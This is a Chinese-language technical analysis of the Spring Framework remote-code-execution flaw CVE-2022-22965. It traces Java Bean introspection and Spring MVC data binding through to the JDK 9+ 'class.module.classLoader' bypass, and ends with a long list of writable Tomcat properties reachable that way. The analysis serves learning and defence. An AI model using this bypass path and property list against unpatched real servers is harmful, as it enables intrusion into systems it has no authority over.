POC详情: ef268f2bc268df2df506033cf18f7c9cc1ae6a06

来源
关联漏洞
标题: Spring Framework 代码注入漏洞 (CVE-2022-22965)
描述:Spring Framework是美国Spring团队的一套开源的Java、JavaEE应用程序框架。该框架可帮助开发人员构建高质量的应用。 Spring Framework 存在代码注入漏洞,该漏洞源于 JDK 9+ 上的数据绑定的 RCE。以下产品和版本受到影响:5.3.0 至 5.3.17、5.2.0 至 5.2.19、较旧的和不受支持的版本也会受到影响。
介绍
### 漏洞简介
最近spring爆出重磅级CVE漏洞,cve信息显示"A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.(在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。具体的利用需要应用程序作为war包部署在 Tomcat上运行。 如果应用程序部署为Spring Boot可执行jar,即默认值,则它不易受到攻击。但是,该漏洞的性质更为普遍,可能还有其他方法可以利用它)"。本次分析通过复现该CVE学习漏洞原理。

### java Bean API
看springmvc的参数绑定原理之前,我们先来看下java Bean相关的一些API。
* java Bean:实际上是一种规范,当一个类满足这个规范,这个类就能被其它特定的类调用。一个类被当作java Bean使用时,该类包含一组私有属性,通过public的 get/is<XXXX>()或set<XXXX>(<PropertyType>)方法对属性进行读写操作。
* Introspector(内省): The Introspector class provides a standard way for tools to learn about the properties, events, and methods supported by a target Java Bean.
  For each of those three kinds of information, the Introspector will separately analyze the bean's class and superclasses looking for either explicit or implicit information and use that information to build a BeanInfo object that comprehensively describes the target bean.(Java对Java Bean类的属性、事件和方法提供的缺省处理方式。比如,查找某个bean类的属性/方法时,如果在当前bean类中没找到这个属性,则向bean类的父类中查找等约定。)
* BeanInfo:Introspect on a Java Bean and learn about all its properties, exposed methods, and events.If the BeanInfo class for a Java Bean has been previously Introspected then the BeanInfo class is retrieved from the BeanInfo cache.(对 Java Bean 进行内省并了解其所有属性、公开的方法和事件。如果Java Bean 的 BeanInfo 类先前已被内省,则从 BeanInfo 缓存中检索BeanInfo类。)
* PropertyDescriptor:用于描述java Bean通过一组accessor methods暴露的属性。


声明如下的java bean类:
```java
public class User {
    private String name;

    public User() {
    }
    public void setName(String name) {
        this.name = name;
    }
    public String getName() {
        return this.name;
    }
    public int getAge() {
        return 18;
    }
}
```

用如下的测试代码来看下Introspector.getBeanInfo获取到的信息:

```java
@Test
    public  void testIntrospector() throws IntrospectionException {
        BeanInfo beanInfo = Introspector.getBeanInfo(User.class);
        for (PropertyDescriptor pdesc:beanInfo.getPropertyDescriptors()){
            System.out.println("Property: " + pdesc.getName() + ",Class:" + pdesc.getPropertyType());
        }
//        for (MethodDescriptor md:beanInfo.getMethodDescriptors()) {
//            System.out.println("Method: " + md.getName());
//        }
    }
```
output:
```text
Property: age,Class:int
Property: class,Class:class java.lang.Class
Property: name,Class:class java.lang.String
```
除了在预料之内的age和那么之外,还有一个class属性,类名是Class,如果再继续调用Introspector.getBeanInfo(Class.class)可以获取到classLoader等更多的信息:

```text jdk11:
Property: annotatedInterfaces
Property: annotatedSuperclass
Property: annotation
Property: annotations
Property: anonymousClass
Property: array
Property: canonicalName
Property: class
Property: classLoader
Property: classes
Property: componentType
Property: constructors
Property: declaredAnnotations
Property: declaredClasses
Property: declaredConstructors
Property: declaredFields
Property: declaredMethods
Property: declaringClass
Property: enclosingClass
Property: enclosingConstructor
Property: enclosingMethod
Property: enum
Property: enumConstants
Property: fields
Property: genericInterfaces
Property: genericSuperclass
Property: interface
Property: interfaces
Property: localClass
Property: memberClass
Property: methods
Property: modifiers
Property: module
Property: name
Property: nestHost
Property: nestMembers
Property: package
Property: packageName
Property: primitive
Property: protectionDomain
Property: signers
Property: simpleName
Property: superclass
Property: synthetic
Property: typeName
Property: typeParameters
```
另外再对比下不同JDK版本下Introspector.getBeanInfo(Class.class)获取到的信息的区别,上面的是jdk-11下的输出,下面的是JDK8下的输出:
```text jdk8:
Property: annotatedInterfaces
Property: annotatedSuperclass
Property: annotation
Property: annotations
Property: anonymousClass
Property: array
Property: canonicalName
Property: class
Property: classLoader
Property: classes
Property: componentType
Property: constructors
Property: declaredAnnotations
Property: declaredClasses
Property: declaredConstructors
Property: declaredFields
Property: declaredMethods
Property: declaringClass
Property: enclosingClass
Property: enclosingConstructor
Property: enclosingMethod
Property: enum
Property: enumConstants
Property: fields
Property: genericInterfaces
Property: genericSuperclass
Property: interface
Property: interfaces
Property: localClass
Property: memberClass
Property: methods
Property: modifiers
Property: name
Property: package
Property: primitive
Property: protectionDomain
Property: signers
Property: simpleName
Property: superclass
Property: synthetic
Property: typeName
Property: typeParameters
```

```text
Property: annotatedInterfaces
Property: annotatedSuperclass
Property: annotation
Property: annotations
Property: anonymousClass
Property: array
Property: canonicalName
Property: class
Property: classLoader
Property: classes
Property: componentType
Property: constructors
Property: declaredAnnotations
Property: declaredClasses
Property: declaredConstructors
Property: declaredFields
Property: declaredMethods
Property: declaringClass
Property: enclosingClass
Property: enclosingConstructor
Property: enclosingMethod
Property: enum
Property: enumConstants
Property: fields
Property: genericInterfaces
Property: genericSuperclass
Property: interface
Property: interfaces
Property: localClass
Property: memberClass
Property: methods
Property: modifiers
Property: module
Property: name
Property: package
Property: packageName
Property: primitive
Property: protectionDomain
Property: signers
Property: simpleName
Property: superclass
Property: synthetic
Property: typeName
Property: typeParameters
```
jdk9相比JDK8多出来两个属性module和packageName,而JDK11上除了module和packageName属性之外还有另外两个属性nestHost和nestMembers。

### data binding数据绑定
web类框架中的参数绑定过程,通俗点来说就是,框架把http请求中的字符串形式的参数转换成服务端真正需要的类型,以spring MVC为例:
定义两个Bean 类User和UserInfo:
```java
public class UserInfo {
    public User getUser() {
        return user;
    }

    public void setUser(User user) {
        this.user = user;
    }

    public String getPassword() {
        return password;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    private User user;
    private String password;

    @Override
    public String toString() {
        return "UserInfo{" +
                "user=" + user +
                ", password='" + password + '\'' +
                '}';
    }
}
```
用如下的controller作为测试:
```java
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class DemoController {
    public DemoController() {
    }

    @RequestMapping({"/test"})
    public String test(User u) {
        System.out.println("access!");
        return "home";
    }

    @RequestMapping({"/get-user-info"})
    public String getUserInfo(UserInfo userInfo) {
        System.out.println("Name:"  + userInfo.getUser().getName());
        System.out.println("Age:"  + userInfo.getUser().getAge());
        System.out.println("password:" + userInfo.getPassword());
        System.out.println("classLoader:" + userInfo.getClass().getClassLoader());

        return userInfo.toString();
    }
}
```
当我们访问/get-user-info?password=password&user.name=enokiy时,框架会自动的实例化UserInfo类,并且把对应的值绑定到对应的属性上(通过user.name可以嵌套访问userInfo.user.name属性):

![](images/data_binding.png)

我们通过调试来看下spring MVC中数据绑定的完整流程:
从org.springframework.web.servlet.DispatcherServlet的doDispatch方法开始,doDispatch方法中首先根据请求获取到mappedHandler,然后再获取到HandlerAdapter,通过调用HandlerAdapter的handle()方法对请求进行具体处理然后返回ModelAndView:

![](images/diDispatch.png)

其中在`HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler())` 这里获取到的ha实际为org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter类,执行HandlerAdapter的handle()方法后,进入RequestMappingHandlerAdapter的invokeHandleMethod方法:

![](images/handleInternal.png)

然后在invokeHandleMethod方法中,根据handlerMethod生成一个ServletInvocableHandlerMethod的实例invocableMethod,设置相应的dataBinderFactory和modelFactory以及argumentResolvers,接着进入invocableMethod的invokeAndHandle-->invokeForRequest-->getMethodArgumentValues方法中通过不同的参数解析器进行解析:

![](images/2022-04-24-15-07-04.png)

这里的参数解析器有以下这些:
```text
org.springframework.web.method.annotation.RequestParamMethodArgumentResolver
org.springframework.web.method.annotation.RequestParamMapMethodArgumentResolver
org.springframework.web.servlet.mvc.method.annotation.PathVariableMethodArgumentResolver
org.springframework.web.servlet.mvc.method.annotation.PathVariableMapMethodArgumentResolver
org.springframework.web.servlet.mvc.method.annotation.MatrixVariableMethodArgumentResolver
org.springframework.web.servlet.mvc.method.annotation.MatrixVariableMapMethodArgumentResolver
org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor
org.springframework.web.servlet.mvc.method.annotation.RequestResponseBodyMethodProcessor
org.springframework.web.servlet.mvc.method.annotation.RequestPartMethodArgumentResolver
org.springframework.web.method.annotation.RequestHeaderMethodArgumentResolver
org.springframework.web.method.annotation.RequestHeaderMapMethodArgumentResolver
org.springframework.web.servlet.mvc.method.annotation.ServletCookieValueMethodArgumentResolver
org.springframework.web.method.annotation.ExpressionValueMethodArgumentResolver
org.springframework.web.servlet.mvc.method.annotation.SessionAttributeMethodArgumentResolver
org.springframework.web.servlet.mvc.method.annotation.RequestAttributeMethodArgumentResolver
org.springframework.web.servlet.mvc.method.annotation.ServletRequestMethodArgumentResolver
org.springframework.web.servlet.mvc.method.annotation.ServletResponseMethodArgumentResolver
org.springframework.web.servlet.mvc.method.annotation.HttpEntityMethodProcessor
org.springframework.web.servlet.mvc.method.annotation.RedirectAttributesMethodArgumentResolver
org.springframework.web.method.annotation.ModelMethodProcessor
org.springframework.web.method.annotation.MapMethodProcessor
org.springframework.web.method.annotation.ErrorsMethodArgumentResolver
org.springframework.web.method.annotation.SessionStatusMethodArgumentResolver
org.springframework.web.servlet.mvc.method.annotation.UriComponentsBuilderMethodArgumentResolver
org.springframework.web.method.annotation.RequestParamMethodArgumentResolver
org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor
```
那么怎么知道应该具体选用哪个参数解析器来解析当前请求中的参数呢? springmvc中是根据参数的注解信息来判断的(代码逻辑在`HandlerMethodArgumentResolverComposite#getArgumentResolver`方法中),如使用@RequestMapping以及@modelAttribute注解的话就是用`org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor`, `@RequestParam`对应RequestParamMethodArgumentResolver等.

当前demo中使用的注解是`@RequestMapping`,所以我们接着看ServletModelAttributeMethodProcessor类中参数绑定的过程:
```java
public final Object resolveArgument(MethodParameter parameter, @Nullable ModelAndViewContainer mavContainer,
			NativeWebRequest webRequest, @Nullable WebDataBinderFactory binderFactory) throws Exception {

		Assert.state(mavContainer != null, "ModelAttributeMethodProcessor requires ModelAndViewContainer");
		Assert.state(binderFactory != null, "ModelAttributeMethodProcessor requires WebDataBinderFactory");

		String name = ModelFactory.getNameForParameter(parameter);
		ModelAttribute ann = parameter.getParameterAnnotation(ModelAttribute.class);
		if (ann != null) {
			mavContainer.setBinding(name, ann.binding());
		}

		Object attribute = null;
		BindingResult bindingResult = null;

		if (mavContainer.containsAttribute(name)) {
			attribute = mavContainer.getModel().get(name);
		}
		else {
			// Create attribute instance
			try {
				attribute = createAttribute(name, parameter, binderFactory, webRequest);
			}
			catch (BindException ex) {
				if (isBindExceptionRequired(parameter)) {
					// No BindingResult parameter -> fail with BindException
					throw ex;
				}
				// Otherwise, expose null/empty value and associated BindingResult
				if (parameter.getParameterType() == Optional.class) {
					attribute = Optional.empty();
				}
				bindingResult = ex.getBindingResult();
			}
		}

		if (bindingResult == null) {
			// Bean property binding and validation;
			// skipped in case of binding failure on construction.
			WebDataBinder binder = binderFactory.createBinder(webRequest, attribute, name);
			if (binder.getTarget() != null) {
				if (!mavContainer.isBindingDisabled(name)) {
					bindRequestParameters(binder, webRequest);
				}
				validateIfApplicable(binder, parameter);
				if (binder.getBindingResult().hasErrors() && isBindExceptionRequired(binder, parameter)) {
					throw new BindException(binder.getBindingResult());
				}
			}
			// Value type adaptation, also covering java.util.Optional
			if (!parameter.getParameterType().isInstance(attribute)) {
				attribute = binder.convertIfNecessary(binder.getTarget(), parameter.getParameterType(), parameter);
			}
			bindingResult = binder.getBindingResult();
		}

		// Add resolved attribute and BindingResult at the end of the model
		Map<String, Object> bindingResultModel = bindingResult.getModel();
		mavContainer.removeAttributes(bindingResultModel);
		mavContainer.addAllAttributes(bindingResultModel);

		return attribute;
	}
```
根据请求参数获取model中的参数名,首先看ModelAndViewContainer中是否包含该参数名,是直接从ModelAndViewContainer中获取属性,否则进入ServletModelAttributeMethodProcessor#createAttribute方法创建model的属性:
* ServletModelAttributeMethodProcessor#createAttribute:

  首先在当前类中处理请求的uri和parameter中是否包含属性名(getRequestValueForAttribute方法),是返回值,否则到super.createAttribute方法:

![](images/2022-04-24-15-49-28.png)

* binderFactory.createBinder:  创建WebRequestDataBinder

* bindRequestParameters: ServletModelAttributeMethodProcessor#bindRequestParameters--> ServletRequestDataBinder#bind --> ServletRequestDataBinder#doBind -->DataBinder#doBind -->DataBinder#applyPropertyValues -->DataBinder#getPropertyAccessor().setPropertyValues:

![](images/2022-04-24-15-53-25.png)

![](images/2022-04-24-15-55-12.png)

![](images/2022-04-24-15-59-30.png)

其中在DataBinder#doBind方法中有一些allowFields和requiredFields的检查,当前测试版本中默认为空:

![](images/2022-04-24-16-32-49.png)


AbstractPropertyAccessor#setPropertyValues(PropertyValues pvs, boolean ignoreUnknown, boolean ignoreInvalid)中循环调用AbstractPropertyAccessor#setPropertyValue方法对每个请求参数的属性值进行绑定,绑定过程中如果发现参数名中包含".",还需要通过调用getNestedPropertyAccessor对"."后面的属性进行递归绑定:

![](images/2022-04-24-16-46-20.png)

递归获取属性值的过程进入以下的数据流处理:
```text
AbstractNestablePropertyAccessor#getNestedPropertyAccessor-->AbstractNestablePropertyAccessor#setDefaultValue-->AbstractNestablePropertyAccessor#createDefaultPropertyValue-->AbstractNestablePropertyAccessor#getPropertyTypeDescriptor-->BeanWrapperImpl#getLocalPropertyHandler-->BeanWrapperImpl#getCachedIntrospectionResults
```

而在getLocalPropertyHandler中,会调用getCachedIntrospectionResults方法去cachedIntrospectionResults中查找是否存在当前属性,而这个cachedIntrospectionResults中除了当前请求中的属性之外,还自带一个名为的class属性:

![](images/2022-04-24-17-19-08.png)

前面提到的内省机制中获取BeanInfo的时候提到,Java Bean 的 BeanInfo 类先前已被内省过的话,则从 BeanInfo缓存中检索BeanInfo类,所以这里的cachedIntrospectionResults的作用应该是为了实现这个特性的:

![](images/2022-04-25-17-24-23.png)

到这里,总结一下springMVC中参数绑定的过程:
1. SpringMVC初始化时,RequestMappingHandlerAdapter类会把一些默认的参数解析器添加到argumentResolvers中。当SpringMVC接收到请求后会进入DispatcherServlet的doDispatch,doDispatch方法中首先根据请求获取到mappedHandler,然后再获取到HandlerAdapter,通过调用HandlerAdapter的handle()方法对请求进行具体处理然后返回ModelAndView,ViewResolver再去解析并返回View,前端解析器去最后渲染视图。
![http://rui0.cn/wp-content/uploads/2019/10/Ping_Mu_Kuai_Zhao_-2019-10-17-_Xia_Wu_8.png](images/2022-04-25-16-57-59.png)
2. 在HandlerAdapter的handle()方法中对请求进行具体处理的过程中,根据handlerMethod生成一个ServletInvocableHandlerMethod的实例invocableMethod,设置相应的dataBinderFactory和modelFactory以及argumentResolvers,接着进入invocableMethod的invokeAndHandle-->invokeForRequest-->getMethodArgumentValues方法中通过不同的参数解析器进行解析,其中参数解析器是基于参数的注解信息来确定的。
3. 参数解析器进行参数解析,先生成请求参数对应handlerMethod参数名的实例(属性),然后通过DataBinder最终进入BeanWrapperImpl进行bean相关属性的赋值,BeanWrapperImpl具体实现了创建、持有以及修改bean的方法。
其中的setPropertyValue方法可以将参数值注入到指定bean的相关属性中(包括list,map等),同时也可以嵌套设置属性值:

![http://rui0.cn/wp-content/uploads/2019/10/20170119132139329.jpeg](images/2022-04-25-17-12-06.png)

无论是spring mvc的数据绑定(将各式参数绑定到@RequestMapping注解的请求处理方法的参数上),还是BeanFactory(处理@Autowired注解)都会使用到BeanWrapper接口

### 变量覆盖

由于上面提到的的setPropertyValue方法在嵌套设置属性的时候会去cachedIntrospectionResults查找,并且cachedIntrospectionResults中除了请求中的参数之外还多了一个class属性,所以可以在请求中通过class.classLoader.xx的方式访问classLoader中的属性,这个就是spring早期版本中的CVE-2010-1622漏洞;而这次的CVE-2022-22965就是这个漏洞的防护机制绕过:

cachedIntrospectionResults的构造如下:

![](images/2022-04-25-17-24-23.png)

1. 通过Introspector.getBeanInfo(beanClass, Introspector.IGNORE_ALL_BEANINFO)提取BeanClass的属性信息,因为Introspector.getBeanInfo(beanClass, Introspector.IGNORE_ALL_BEANINFO) 方法没有指定stopClass,所以在当前类中查找不到属性的时候,会向父类中查找;
2. 禁用Class类的ClassLoader和protectionDomain属性,这里就是CVE-2010-1622的防御方式;

文章开头对比过不同JDK版本下通过Introspector.getBeanInfo(xxx)获取到的属性值有所不同,在JDK9及以上的版本中,多出来两个属性module和packageName,而在module属性下存在classLoader属性,所以可以利用module属性来访问classLoader,这样就饶过了CVE-2010-1622的防御进行变量覆盖:

![](images/2022-04-26-11-17-11.png)

![](images/2022-04-26-10-49-06.png)

### 漏洞利用

了解了该漏洞的本质原因是变量覆盖之后,再来看下漏洞利用过程中的问题:
1. 能够覆盖哪些变量?
2. 覆盖的变量会带来什么影响?

现在知道可以通过class.module.classLoader来进行变量覆盖操作,那么具体有哪些变量是可以覆盖的?在springmvc不同的部署场景下classLoader不一样,因此利用方式上是不通用的. 

| 部署形式 | classLoader|
| ---- | ---- |
| SpringBoot FatJar | org.springframework.boot.loader.LaunchedURLClassLoader |
| tomcat war | org.apache.catalina.loader.ParallelWebappClassLoader |
| jetty war | org.eclipse.jetty.webapp.WebAppClassLoader |

在tomcat war部署下(当前测试环境:"apache-tomcat-8.5.8" + "jdk-11.0.1"),class.module下能访问的可读可写的属性如下(不完整,没有收集属性是List/Map/Set的):
<details>
<summary>
点击查看class.module下能访问的可读可写的属性
</summary>
```text
class.module
class.module.classLoader.clearReferencesHttpClientKeepAliveThread
class.module.classLoader.clearReferencesLogFactoryRelease
class.module.classLoader.clearReferencesRmiTargets
class.module.classLoader.clearReferencesStopThreads
class.module.classLoader.clearReferencesStopTimerThreads
class.module.classLoader.delegate
class.module.classLoader.resources
class.module.classLoader.clearReferencesHttpClientKeepAliveThread
class.module.classLoader.resources
class.module.classLoader.resources.allowLinking
class.module.classLoader.resources.cacheMaxSize
class.module.classLoader.resources.cacheObjectMaxSize
class.module.classLoader.resources.cacheTtl
class.module.classLoader.resources.cachingAllowed
class.module.classLoader.resources.context
class.module.classLoader.resources.domain
class.module.classLoader.resources.trackLockedFiles
class.module.classLoader.resources.cacheMaxSize
class.module.classLoader.resources.cacheObjectMaxSize
class.module.classLoader.resources.cacheTtl
class.module.classLoader.resources.context
class.module.classLoader.resources.context.addWebinfClassesResources
class.module.classLoader.resources.context.allowCasualMultipartParsing
class.module.classLoader.resources.context.altDDName
class.module.classLoader.resources.context.antiResourceLocking
class.module.classLoader.resources.context.applicationEventListeners
class.module.classLoader.resources.context.applicationLifecycleListeners
class.module.classLoader.resources.context.backgroundProcessorDelay
class.module.classLoader.resources.context.charsetMapper
class.module.classLoader.resources.context.charsetMapperClass
class.module.classLoader.resources.context.clearReferencesHttpClientKeepAliveThread
class.module.classLoader.resources.context.clearReferencesRmiTargets
class.module.classLoader.resources.context.clearReferencesStopThreads
class.module.classLoader.resources.context.clearReferencesStopTimerThreads
class.module.classLoader.resources.context.cluster
class.module.classLoader.resources.context.configFile
class.module.classLoader.resources.context.configured
class.module.classLoader.resources.context.containerSciFilter
class.module.classLoader.resources.context.cookieProcessor
class.module.classLoader.resources.context.cookies
class.module.classLoader.resources.context.copyXML
class.module.classLoader.resources.context.crossContext
class.module.classLoader.resources.context.defaultContextXml
class.module.classLoader.resources.context.defaultWebXml
class.module.classLoader.resources.context.delegate
class.module.classLoader.resources.context.denyUncoveredHttpMethods
class.module.classLoader.resources.context.dispatchersUseEncodedPaths
class.module.classLoader.resources.context.displayName
class.module.classLoader.resources.context.distributable
class.module.classLoader.resources.context.docBase
class.module.classLoader.resources.context.domain
class.module.classLoader.resources.context.effectiveMajorVersion
class.module.classLoader.resources.context.effectiveMinorVersion
class.module.classLoader.resources.context.failCtxIfServletStartFails
class.module.classLoader.resources.context.fireRequestListenersOnFoards
class.module.classLoader.resources.context.ignoreAnnotations
class.module.classLoader.resources.context.instanceManager
class.module.classLoader.resources.context.j2EEApplication
class.module.classLoader.resources.context.j2EEServer
class.module.classLoader.resources.context.jarScanner
class.module.classLoader.resources.context.javaVMs
class.module.classLoader.resources.context.jndiExceptionOnFailedWrite
class.module.classLoader.resources.context.jspConfigDescriptor
class.module.classLoader.resources.context.loader
class.module.classLoader.resources.context.logEffectiveWebXml
class.module.classLoader.resources.context.loginConfig
class.module.classLoader.resources.context.manager
class.module.classLoader.resources.context.mapperContextRootRedirectEnabled
class.module.classLoader.resources.context.mapperDirectoryRedirectEnabled
class.module.classLoader.resources.context.name
class.module.classLoader.resources.context.namingContextListener
class.module.classLoader.resources.context.namingResources
class.module.classLoader.resources.context.originalDocBase
class.module.classLoader.resources.context.override
class.module.classLoader.resources.context.parent
class.module.classLoader.resources.context.parentClassLoader
class.module.classLoader.resources.context.path
class.module.classLoader.resources.context.preemptiveAuthentication
class.module.classLoader.resources.context.privileged
class.module.classLoader.resources.context.publicId
class.module.classLoader.resources.context.realm
class.module.classLoader.resources.context.reloadable
class.module.classLoader.resources.context.renewThreadsWhenStoppingContext
class.module.classLoader.resources.context.resourceOnlyServlets
class.module.classLoader.resources.context.resources
class.module.classLoader.resources.context.sendRedirectBody
class.module.classLoader.resources.context.server
class.module.classLoader.resources.context.sessionCookieDomain
class.module.classLoader.resources.context.sessionCookieName
class.module.classLoader.resources.context.sessionCookiePath
class.module.classLoader.resources.context.sessionCookiePathUsesTrailingSlash
class.module.classLoader.resources.context.sessionTimeout
class.module.classLoader.resources.context.startChildren
class.module.classLoader.resources.context.startStopThreads
class.module.classLoader.resources.context.startupTime
class.module.classLoader.resources.context.swallowAbortedUploads
class.module.classLoader.resources.context.swallowOutput
class.module.classLoader.resources.context.threadBindingListener
class.module.classLoader.resources.context.tldScanTime
class.module.classLoader.resources.context.tldValidation
class.module.classLoader.resources.context.unloadDelay
class.module.classLoader.resources.context.unpackWAR
class.module.classLoader.resources.context.useHttpOnly
class.module.classLoader.resources.context.useNaming
class.module.classLoader.resources.context.useRelativeRedirects
class.module.classLoader.resources.context.validateClientProvidedNewSessionId
class.module.classLoader.resources.context.webappVersion
class.module.classLoader.resources.context.workDir
class.module.classLoader.resources.context.wrapperClass
class.module.classLoader.resources.context.xmlBlockExternal
class.module.classLoader.resources.context.xmlNamespaceAware
class.module.classLoader.resources.context.xmlValidation
class.module.classLoader.resources.context.applicationEventListeners
class.module.classLoader.resources.context.applicationLifecycleListeners
class.module.classLoader.resources.context.authenticator.alwaysUseSession
class.module.classLoader.resources.context.authenticator.asyncSupported
class.module.classLoader.resources.context.authenticator.cache
class.module.classLoader.resources.context.authenticator.changeSessionIdOnAuthentication
class.module.classLoader.resources.context.authenticator.container
class.module.classLoader.resources.context.authenticator.disableProxyCaching
class.module.classLoader.resources.context.authenticator.domain
class.module.classLoader.resources.context.authenticator.next
class.module.classLoader.resources.context.authenticator.securePagesWithPragma
class.module.classLoader.resources.context.authenticator.secureRandomAlgorithm
class.module.classLoader.resources.context.authenticator.secureRandomClass
class.module.classLoader.resources.context.authenticator.secureRandomProvider
class.module.classLoader.resources.context.backgroundProcessorDelay
class.module.classLoader.resources.context.charsetMapper
class.module.classLoader.resources.context.configFile
class.module.classLoader.resources.context.cookieProcessor
class.module.classLoader.resources.context.effectiveMajorVersion
class.module.classLoader.resources.context.instanceManager
class.module.classLoader.resources.context.jarScanner
class.module.classLoader.resources.context.jarScanner.jarScanFilter
class.module.classLoader.resources.context.jarScanner.scanAllDirectories
class.module.classLoader.resources.context.jarScanner.scanAllFiles
class.module.classLoader.resources.context.jarScanner.scanBootstrapClassPath
class.module.classLoader.resources.context.jarScanner.scanClassPath
class.module.classLoader.resources.context.jarScanner.scanManifest
class.module.classLoader.resources.context.loader
class.module.classLoader.resources.context.loader.context
class.module.classLoader.resources.context.loader.delegate
class.module.classLoader.resources.context.loader.domain
class.module.classLoader.resources.context.loader.loaderClass
class.module.classLoader.resources.context.loader.reloadable
class.module.classLoader.resources.context.loginConfig
class.module.classLoader.resources.context.loginConfig.authMethod
class.module.classLoader.resources.context.loginConfig.errorPage
class.module.classLoader.resources.context.loginConfig.loginPage
class.module.classLoader.resources.context.loginConfig.realmName
class.module.classLoader.resources.context.manager
class.module.classLoader.resources.context.manager.context
class.module.classLoader.resources.context.manager.domain
class.module.classLoader.resources.context.manager.duplicates
class.module.classLoader.resources.context.manager.expiredSessions
class.module.classLoader.resources.context.manager.maxActive
class.module.classLoader.resources.context.manager.maxActiveSessions
class.module.classLoader.resources.context.manager.pathname
class.module.classLoader.resources.context.manager.processExpiresFrequency
class.module.classLoader.resources.context.manager.processingTime
class.module.classLoader.resources.context.manager.secureRandomAlgorithm
class.module.classLoader.resources.context.manager.secureRandomClass
class.module.classLoader.resources.context.manager.secureRandomProvider
class.module.classLoader.resources.context.manager.sessionAttributeNameFilter
class.module.classLoader.resources.context.manager.sessionAttributeValueClassNameFilter
class.module.classLoader.resources.context.manager.sessionCounter
class.module.classLoader.resources.context.manager.sessionIdGenerator
class.module.classLoader.resources.context.manager.sessionMaxAliveTime
class.module.classLoader.resources.context.manager.warnOnSessionAttributeFilterFailure
class.module.classLoader.resources.context.namingContextListener
class.module.classLoader.resources.context.namingContextListener.exceptionOnFailedWrite
class.module.classLoader.resources.context.namingContextListener.name
class.module.classLoader.resources.context.namingResources
class.module.classLoader.resources.context.namingResources.container
class.module.classLoader.resources.context.namingResources.domain
class.module.classLoader.resources.context.namingResources.transaction
class.module.classLoader.resources.context.parent
class.module.classLoader.resources.context.parent.appBase
class.module.classLoader.resources.context.parent.autoDeploy
class.module.classLoader.resources.context.parent.backgroundProcessorDelay
class.module.classLoader.resources.context.parent.cluster
class.module.classLoader.resources.context.parent.configClass
class.module.classLoader.resources.context.parent.contextClass
class.module.classLoader.resources.context.parent.copyXML
class.module.classLoader.resources.context.parent.createDirs
class.module.classLoader.resources.context.parent.deployIgnore
class.module.classLoader.resources.context.parent.deployOnStartup
class.module.classLoader.resources.context.parent.deployXML
class.module.classLoader.resources.context.parent.domain
class.module.classLoader.resources.context.parent.errorReportValveClass
class.module.classLoader.resources.context.parent.failCtxIfServletStartFails
class.module.classLoader.resources.context.parent.name
class.module.classLoader.resources.context.parent.parent
class.module.classLoader.resources.context.parent.parentClassLoader
class.module.classLoader.resources.context.parent.realm
class.module.classLoader.resources.context.parent.startChildren
class.module.classLoader.resources.context.parent.startStopThreads
class.module.classLoader.resources.context.parent.undeployOldVersions
class.module.classLoader.resources.context.parent.unpackWARs
class.module.classLoader.resources.context.parent.workDir
class.module.classLoader.resources.context.parent.xmlBase
class.module.classLoader.resources.context.pipeline.basic
class.module.classLoader.resources.context.pipeline.container
class.module.classLoader.resources.context.realm
class.module.classLoader.resources.context.realm.allRolesMode
class.module.classLoader.resources.context.realm.cacheRemovalWarningTime
class.module.classLoader.resources.context.realm.cacheSize
class.module.classLoader.resources.context.realm.container
class.module.classLoader.resources.context.realm.credentialHandler
class.module.classLoader.resources.context.realm.domain
class.module.classLoader.resources.context.realm.failureCount
class.module.classLoader.resources.context.realm.lockOutTime
class.module.classLoader.resources.context.realm.realmPath
class.module.classLoader.resources.context.realm.stripRealmForGss
class.module.classLoader.resources.context.realm.transportGuaranteeRedirectStatus
class.module.classLoader.resources.context.realm.validate
class.module.classLoader.resources.context.realm.x509UsernameRetrieverClassName
class.module.classLoader.resources.context.sessionTimeout
class.module.classLoader.resources.context.startupTime
class.module.classLoader.resources.context.threadBindingListener
class.module.classLoader.resources.context.unloadDelay
class.module.classLoader.resources.context.authenticator.next
class.module.classLoader.resources.context.authenticator.next.asyncSupported
class.module.classLoader.resources.context.authenticator.next.container
class.module.classLoader.resources.context.authenticator.next.domain
class.module.classLoader.resources.context.authenticator.next.next
class.module.classLoader.resources.context.jarScanner.jarScanFilter
class.module.classLoader.resources.context.jarScanner.jarScanFilter.defaultPluggabilityScan
class.module.classLoader.resources.context.jarScanner.jarScanFilter.defaultTldScan
class.module.classLoader.resources.context.jarScanner.jarScanFilter.pluggabilityScan
class.module.classLoader.resources.context.jarScanner.jarScanFilter.pluggabilitySkip
class.module.classLoader.resources.context.jarScanner.jarScanFilter.tldScan
class.module.classLoader.resources.context.jarScanner.jarScanFilter.tldSkip
class.module.classLoader.resources.context.manager.engine.backgroundProcessorDelay
class.module.classLoader.resources.context.manager.engine.cluster
class.module.classLoader.resources.context.manager.engine.defaultHost
class.module.classLoader.resources.context.manager.engine.domain
class.module.classLoader.resources.context.manager.engine.jvmRoute
class.module.classLoader.resources.context.manager.engine.name
class.module.classLoader.resources.context.manager.engine.parent
class.module.classLoader.resources.context.manager.engine.parentClassLoader
class.module.classLoader.resources.context.manager.engine.realm
class.module.classLoader.resources.context.manager.engine.service
class.module.classLoader.resources.context.manager.engine.startChildren
class.module.classLoader.resources.context.manager.engine.startStopThreads
class.module.classLoader.resources.context.manager.processExpiresFrequency
class.module.classLoader.resources.context.manager.sessionIdGenerator
class.module.classLoader.resources.context.manager.sessionIdGenerator.jvmRoute
class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomAlgorithm
class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomClass
class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomProvider
class.module.classLoader.resources.context.manager.sessionIdGenerator.sessionIdLength
class.module.classLoader.resources.context.namingContextListener.envContext.exceptionOnFailedWrite
